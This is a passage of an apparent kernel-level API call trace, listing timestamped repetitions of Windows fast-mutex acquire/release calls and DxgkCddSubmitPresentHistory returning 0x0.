(FastMutex=0xffffe00001127c40) [0265.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.519] DxgkCddSubmitPresentHistory () returned 0x0 [0265.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.565] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0265.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.566] DxgkCddSubmitPresentHistory () returned 0x0 [0265.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.628] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0265.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.628] DxgkCddSubmitPresentHistory () returned 0x0 [0265.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.690] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0265.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.691] DxgkCddSubmitPresentHistory () returned 0x0 [0265.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.769] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0265.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.769] DxgkCddSubmitPresentHistory () returned 0x0 [0265.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.815] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0265.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.816] DxgkCddSubmitPresentHistory () returned 0x0 [0265.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.894] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0265.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.894] DxgkCddSubmitPresentHistory () returned 0x0 [0266.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0266.565] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0266.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0266.566] DxgkCddSubmitPresentHistory () returned 0x0 [0266.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0266.628] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0266.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0266.628] DxgkCddSubmitPresentHistory () returned 0x0 [0266.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0266.675] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0266.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0266.675] DxgkCddSubmitPresentHistory () returned 0x0 [0266.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0266.737] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0266.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0266.737] DxgkCddSubmitPresentHistory () returned 0x0 [0266.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0266.815] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0266.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0266.816] DxgkCddSubmitPresentHistory () returned 0x0 [0267.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0267.097] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0267.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0267.097] DxgkCddSubmitPresentHistory () returned 0x0 [0269.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0269.535] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0269.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0269.535] DxgkCddSubmitPresentHistory () returned 0x0 [0269.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0269.894] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0269.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0269.894] DxgkCddSubmitPresentHistory () returned 0x0 [0269.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0269.957] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0269.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0269.957] DxgkCddSubmitPresentHistory () returned 0x0 [0270.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.019] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0270.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.019] DxgkCddSubmitPresentHistory () returned 0x0 [0270.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.097] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0270.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.097] DxgkCddSubmitPresentHistory () returned 0x0 [0270.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.144] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0270.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.144] DxgkCddSubmitPresentHistory () returned 0x0 [0270.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.222] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0270.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.222] DxgkCddSubmitPresentHistory () returned 0x0 [0270.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.284] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0270.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.284] DxgkCddSubmitPresentHistory () returned 0x0 [0270.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0270.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.331] DxgkCddSubmitPresentHistory () returned 0x0 [0270.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.394] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0270.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.394] DxgkCddSubmitPresentHistory () returned 0x0 [0270.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0270.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.456] DxgkCddSubmitPresentHistory () returned 0x0 [0270.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.519] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0270.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.519] DxgkCddSubmitPresentHistory () returned 0x0 [0270.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.581] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0270.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.581] DxgkCddSubmitPresentHistory () returned 0x0 [0270.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.644] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0270.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.644] DxgkCddSubmitPresentHistory () returned 0x0 [0270.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.706] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0270.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.706] DxgkCddSubmitPresentHistory () returned 0x0 [0270.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.769] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0270.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.769] DxgkCddSubmitPresentHistory () returned 0x0 [0270.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0270.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.831] DxgkCddSubmitPresentHistory () returned 0x0 [0270.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0270.894] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0270.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0270.894] DxgkCddSubmitPresentHistory () returned 0x0 [0272.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.566] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0272.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.566] DxgkCddSubmitPresentHistory () returned 0x0 [0272.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.644] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0272.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.644] DxgkCddSubmitPresentHistory () returned 0x0 [0272.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.690] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0272.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.691] DxgkCddSubmitPresentHistory () returned 0x0 [0272.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.769] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0272.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.769] DxgkCddSubmitPresentHistory () returned 0x0 [0272.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.784] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0272.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.784] DxgkCddSubmitPresentHistory () returned 0x0 [0272.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.862] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0272.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.862] DxgkCddSubmitPresentHistory () returned 0x0 [0272.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.925] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0272.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.925] DxgkCddSubmitPresentHistory () returned 0x0 [0272.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0272.987] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0272.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0272.988] DxgkCddSubmitPresentHistory () returned 0x0 [0273.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0273.035] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0273.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0273.035] DxgkCddSubmitPresentHistory () returned 0x0 [0275.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.003] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.003] DxgkCddSubmitPresentHistory () returned 0x0 [0275.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.050] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.050] DxgkCddSubmitPresentHistory () returned 0x0 [0275.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.112] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.112] DxgkCddSubmitPresentHistory () returned 0x0 [0275.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.191] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.191] DxgkCddSubmitPresentHistory () returned 0x0 [0275.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.253] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.253] DxgkCddSubmitPresentHistory () returned 0x0 [0275.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.300] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.300] DxgkCddSubmitPresentHistory () returned 0x0 [0275.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.363] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.363] DxgkCddSubmitPresentHistory () returned 0x0 [0275.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.425] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.425] DxgkCddSubmitPresentHistory () returned 0x0 [0275.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.488] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.488] DxgkCddSubmitPresentHistory () returned 0x0 [0275.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.567] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.567] DxgkCddSubmitPresentHistory () returned 0x0 [0275.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.613] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.613] DxgkCddSubmitPresentHistory () returned 0x0 [0275.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.675] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.675] DxgkCddSubmitPresentHistory () returned 0x0 [0275.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.706] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.706] DxgkCddSubmitPresentHistory () returned 0x0 [0275.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.769] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.769] DxgkCddSubmitPresentHistory () returned 0x0 [0275.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.831] DxgkCddSubmitPresentHistory () returned 0x0 [0275.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.894] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.894] DxgkCddSubmitPresentHistory () returned 0x0 [0275.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0275.957] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0275.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0275.957] DxgkCddSubmitPresentHistory () returned 0x0 [0276.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.316] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0276.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.316] DxgkCddSubmitPresentHistory () returned 0x0 [0276.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0276.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.410] DxgkCddSubmitPresentHistory () returned 0x0 [0276.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0276.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.456] DxgkCddSubmitPresentHistory () returned 0x0 [0276.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.519] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0276.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.519] DxgkCddSubmitPresentHistory () returned 0x0 [0276.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.597] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0276.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.597] DxgkCddSubmitPresentHistory () returned 0x0 [0276.666] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.666] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0276.666] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.666] DxgkCddSubmitPresentHistory () returned 0x0 [0276.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.722] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0276.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.722] DxgkCddSubmitPresentHistory () returned 0x0 [0276.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.784] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0276.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.784] DxgkCddSubmitPresentHistory () returned 0x0 [0276.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.800] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0276.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0276.800] DxgkCddSubmitPresentHistory () returned 0x0 [0276.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0276.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.831] DxgkCddSubmitPresentHistory () returned 0x0 [0276.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.894] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0276.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.894] DxgkCddSubmitPresentHistory () returned 0x0 [0276.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.956] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0276.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.956] DxgkCddSubmitPresentHistory () returned 0x0 [0277.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.019] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0277.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.019] DxgkCddSubmitPresentHistory () returned 0x0 [0277.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.081] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0277.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.082] DxgkCddSubmitPresentHistory () returned 0x0 [0277.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.144] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0277.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.144] DxgkCddSubmitPresentHistory () returned 0x0 [0277.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.207] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0277.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.207] DxgkCddSubmitPresentHistory () returned 0x0 [0277.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.291] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0277.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.292] DxgkCddSubmitPresentHistory () returned 0x0 [0277.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.347] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0277.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.347] DxgkCddSubmitPresentHistory () returned 0x0 [0277.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0277.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.409] DxgkCddSubmitPresentHistory () returned 0x0 [0278.669] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0278.669] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0278.669] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0278.669] DxgkCddSubmitPresentHistory () returned 0x0 [0278.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0278.706] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0278.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0278.706] DxgkCddSubmitPresentHistory () returned 0x0 [0278.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0278.769] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0278.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0278.769] DxgkCddSubmitPresentHistory () returned 0x0 [0278.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0278.847] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0278.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0278.847] DxgkCddSubmitPresentHistory () returned 0x0 [0278.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 